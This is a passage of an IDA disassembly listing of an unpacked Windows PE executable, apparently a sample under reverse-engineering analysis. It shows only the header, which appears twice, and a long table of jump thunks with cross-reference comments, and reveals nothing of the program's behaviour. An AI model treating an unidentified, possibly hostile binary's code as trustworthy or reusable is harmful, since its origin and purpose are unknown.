;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	90B0BB6AA39458824C4FB71E9B1852E2

; File Name   :	u:\work\90b0bb6aa39458824c4fb71e9b1852e2_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00112000 (1122304.)
; Section size in file		: 00112000 (1122304.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		db 5 dup(0CCh)
; ---------------------------------------------------------------------------
		jmp	loc_430920
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43F09Co
		jmp	loc_412D80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421BF0+29p
		jmp	sub_422150
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_432540
; ---------------------------------------------------------------------------
		jmp	loc_420EA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:004119B3p
		jmp	sub_4119E0
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B29Dp
					; ___:0040B2AAp ...
		jmp	sub_403C50
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FB90+34p
		jmp	sub_40B0E0
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404CC0+616p
					; sub_404CC0+6D5p ...
		jmp	sub_40A110
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42B3F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_4135E0+3Bp
					; ___:00414C00p
		jmp	sub_4156D0
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_430B30+6Ep
					; sub_430B30+8Ap ...
		jmp	sub_4342D0
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:00430212p
					; sub_430B30+3Fp ...
		jmp	sub_434150
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_423A40

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D210
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B0E0+3Ap
					; sub_40B150+1Ap
		jmp	sub_433C70
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E760+37Bp
		jmp	sub_421D30
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C1A0+8p
		jmp	sub_40C360
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_432BF0+5Ap
					; sub_434A00+50p
		jmp	sub_432BB0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43F07Co
		jmp	sub_41C710
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416FAAp
		jmp	sub_41FCD0
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40C040+32p
		jmp	sub_40C200
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416FBAp
		jmp	sub_418390
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_415920+6Ap
					; sub_416380+32p
		jmp	sub_4162C0
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E760+161p
					; sub_4224E0+3p
		jmp	sub_421B50
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ADE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421D30+3p
					; ___:004220FFp ...
		jmp	sub_422270
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C4E0+43p
		jmp	sub_40CBB0
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_4292E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_4075C0+Ap
		jmp	sub_407660
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4246D0+23p
					; sub_424870+6p ...
		jmp	sub_4245E0
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_431EF0+F5p
					; sub_431EF0+14Fp
		jmp	sub_4340E0
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_4344C0+C8p
		jmp	sub_431C80
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043F174o
		jmp	sub_42B0B0
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43F0A0o
		jmp	loc_41E3C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_418430+D0p
					; sub_418590+2Dp
		jmp	sub_418B20
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_410030+8D9p
					; sub_410030+990p ...
		jmp	sub_411930
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:00430626p
					; ___:00430694p ...
		jmp	sub_4321F0
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421E50+9p
					; sub_422340+18p
		jmp	sub_4224C0
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40AAD0+58p
					; sub_40AAD0+82p ...
		jmp	sub_40ACC0
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422B40+3F1p
					; ___:00423BA6p ...
		jmp	sub_419BE0
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_416110+7p
		jmp	sub_416740
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_415600+5Bp
					; sub_415F70+11p ...
		jmp	sub_4161C0
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_42AF20+58p
		jmp	sub_42AD90
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421970+1Fp
		jmp	sub_421DB0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_4220B0+11p
					; ___:004220D7p ...
		jmp	sub_4225D0
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413E30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421B30+3p
					; ___:00421E9Fp ...
		jmp	sub_422010
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_4144D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_428210+3p
		jmp	sub_428240
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415B00+11p
					; ___:00415B27p ...
		jmp	sub_416570
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_434600

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421C60+5p
					; sub_421D50+6p ...
		jmp	sub_422250
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416B5Bp
					; ___:0043B25Ej ...
		jmp	sub_417B60
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404CC0+6Ap
					; sub_404CC0+1AFp ...
		jmp	sub_412A40
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43F074o
		jmp	sub_4193C0
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_432D10+6p
					; ___:00432D23p ...
		jmp	sub_430770
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F6C0
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43F15Co
		jmp	loc_42AD20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423D9Dp
		jmp	sub_423860
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_433240

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:00415178p
		jmp	sub_415A90
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41BA50+F7p
					; sub_41BA50+10Bp ...
		jmp	sub_409F80
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_4099F0+Ap
		jmp	sub_409AE0
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_4134A0+55p
					; sub_4134A0+94p ...
		jmp	sub_415860
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_425100+18Cp
					; ___:00425F7Dp
		jmp	sub_4236F0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414C8Ep
		jmp	sub_415600
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_4288F0+3p
		jmp	sub_428920
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43F038o
		jmp	loc_4119B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415ED0+11p
					; ___:00415EF7p ...
		jmp	sub_4166F0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_41D830

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418C10+23p
					; sub_418E80+11p
		jmp	sub_418F60
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418B90+3p
					; sub_418F90+54p ...
		jmp	sub_418DE0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_4096E0+6Ap
					; sub_4096E0+103p
		jmp	sub_409980
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_433B30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413E4Dp
		jmp	sub_413C40
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A2E4p
		jmp	sub_41B0E0
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_4134A0+88p
					; sub_4148A0+BFp ...
		jmp	sub_415A30
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_430770+7p
					; sub_4307E0+19p ...
		jmp	sub_434BA0
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DBF0
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:0043239Ap
		jmp	sub_431D40
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_407230+11p
					; sub_4073C0+1Fp
		jmp	sub_407460
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_403720+3B5p
					; sub_403720+3C5p ...
		jmp	sub_403E50
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421D10+3p
		jmp	sub_422290
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C330+Ap
		jmp	sub_40C3F0
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_403720+1Dp
					; sub_407080+1Fp ...
		jmp	sub_403CC0
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:00413344p
					; ___:0043AC8Cj ...
		jmp	sub_415490
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42C640+3p
		jmp	sub_42C670
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AFE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414C9Dp
		jmp	sub_414D40
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407660+7p
					; sub_409AE0+7p ...
		jmp	sub_407690
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_4135E0+73p
					; ___:00414C3Dp ...
		jmp	sub_4156F0
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E760+58p
		jmp	sub_420630
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413E70+84p
		jmp	sub_4138B0
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:00433718p
		jmp	sub_431060
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_407510+8p
		jmp	sub_4075F0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404CC0+9Fp
					; sub_404CC0+230p ...
		jmp	sub_40A510
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A870+21p
					; sub_40AAD0+A5p
		jmp	sub_40AAB0
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B050

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A510+129p
					; sub_40A8F0+4p ...
		jmp	sub_40A8C0
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43F0DCo
		jmp	sub_427940
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:004335ADp
		jmp	sub_430D60
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_407340+3p
					; ___:0040740Fp ...
		jmp	sub_4074D0
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D930+346p
					; sub_41D930+410p ...
		jmp	sub_421970
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421BB0+11p
					; sub_4220B0+1Fp
		jmp	sub_4221E0
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42C7E0+3p
		jmp	sub_42C810
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_4077E0
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C200+5Fp
		jmp	sub_40C3D0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_403530+F6p
					; sub_403530+12Ep ...
		jmp	sub_409D10
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E760+113p
					; sub_41E760+124p
		jmp	sub_421B30
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043F060o
		jmp	sub_41F960
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416BFBp
					; ___:0043B1D2j ...
		jmp	sub_4177B0
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AFA0+Fp
		jmp	sub_431240
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418C10+32p
		jmp	sub_418E80
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_434860

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_415500+5p
					; sub_415710+6p ...
		jmp	sub_416130
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BD90+29p
					; sub_40BEB0+29p
		jmp	sub_40C040
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E760+3E9p
					; ___:0043C4ABj
		jmp	sub_421BF0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_4145A0+BFp
		jmp	sub_4152E0
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4165E0+Ap
		jmp	sub_416920
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416C67p
					; ___:0043B173j ...
		jmp	sub_4170B0
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near
		jmp	sub_418430
sub_401267	endp

; ---------------------------------------------------------------------------
		jmp	sub_416D30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416F1Fp
		jmp	sub_4180D0
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414760
; ---------------------------------------------------------------------------
		jmp	loc_430320

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_410030+387p
					; sub_41F030+21Dp ...
		jmp	sub_41B7E0
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416F5Ap
		jmp	sub_418280
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409570+8p
		jmp	sub_4095C0
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42AD20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_4096E0+A5p
					; sub_412C90+21p
		jmp	sub_4098F0
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404CC0+382p
					; sub_41D930+5AAp
		jmp	sub_41C130
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416E6Fp
		jmp	sub_403720
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418CC0+23p
					; sub_418F90+11p
		jmp	sub_4190E0
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_424920+Cp
					; sub_424920+3Ep ...
		jmp	sub_424410
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_430960

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404CC0+85Ap
					; sub_404CC0+AD6p ...
		jmp	sub_40A370
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042FE06p
					; ___:0042FE56p ...
		jmp	sub_432780
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E760+367p
					; sub_41E760+3D4p ...
		jmp	sub_421D80
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_427D50+107o
		jmp	sub_427FD0
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_424800+18p
					; sub_424840+Ap ...
		jmp	sub_4247B0
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_416220+9p
					; sub_4162C0+18p
		jmp	sub_4168D0
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_432570+32o
		jmp	sub_432D70
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FE50
; ---------------------------------------------------------------------------
		jmp	loc_419CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_42AD90+67p
		jmp	sub_41FFF0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:004301E8p
					; sub_4303A0+2p ...
		jmp	sub_431560
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_413740+3Fp
					; sub_4145A0+40p ...
		jmp	sub_415230
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404690+19Fp
					; sub_404690+212p ...
		jmp	sub_409FD0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424F70+B5p
					; sub_424F70+F1p
		jmp	sub_424F00
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_425100+130p
		jmp	sub_424F70
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416F3Ap
		jmp	sub_418180
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416F0Fp
		jmp	sub_418010
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_4316C0+1p
		jmp	sub_431750
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00427201p
		jmp	sub_427740
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_418430+71p
					; sub_418430+BBp ...
		jmp	sub_418AF0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A180+7p
		jmp	sub_40A1A0
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:004329C8p
					; sub_432A20+2Bp
		jmp	sub_432BF0
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_432570+1p
		jmp	sub_4327B0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_4208E0+37Bp
		jmp	sub_421CD0
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_414430+5Bp
		jmp	sub_415100
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_415490+29p
					; sub_4155B0+29p
		jmp	sub_416030
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00437232p
					; ___:00437242p ...
		jmp	sub_4370F0
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_4134A0+5Fp
					; sub_4134A0+9Ep ...
		jmp	sub_415A60
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B600+62p
					; ___:0040BAC8p ...
		jmp	sub_40BF40
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4313B0
; ---------------------------------------------------------------------------
		jmp	loc_42FF30
; ---------------------------------------------------------------------------


loc_40134D:				; DATA XREF: ___:0043F1A8o
		jmp	loc_42C690
; ---------------------------------------------------------------------------
		jmp	loc_42C5D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416190+8p
		jmp	sub_4167B0
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_4134A0+71p
					; sub_4134A0:loc_41356Cp ...
		jmp	sub_415A10
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_418430+AFp
					; sub_4190E0+3p
		jmp	sub_418BB0
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043F104o
		jmp	sub_427D50
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B600+39p
					; sub_40B600+78p ...
		jmp	sub_40BF70
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_426A90+29p
					; sub_426A90+38p
		jmp	sub_4269A0
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A600+1Cp
		jmp	sub_41A640
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043F164o
		jmp	sub_42AF20
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408C9Ap
					; ___:00414551p
		jmp	sub_414300
sub_40137F	endp


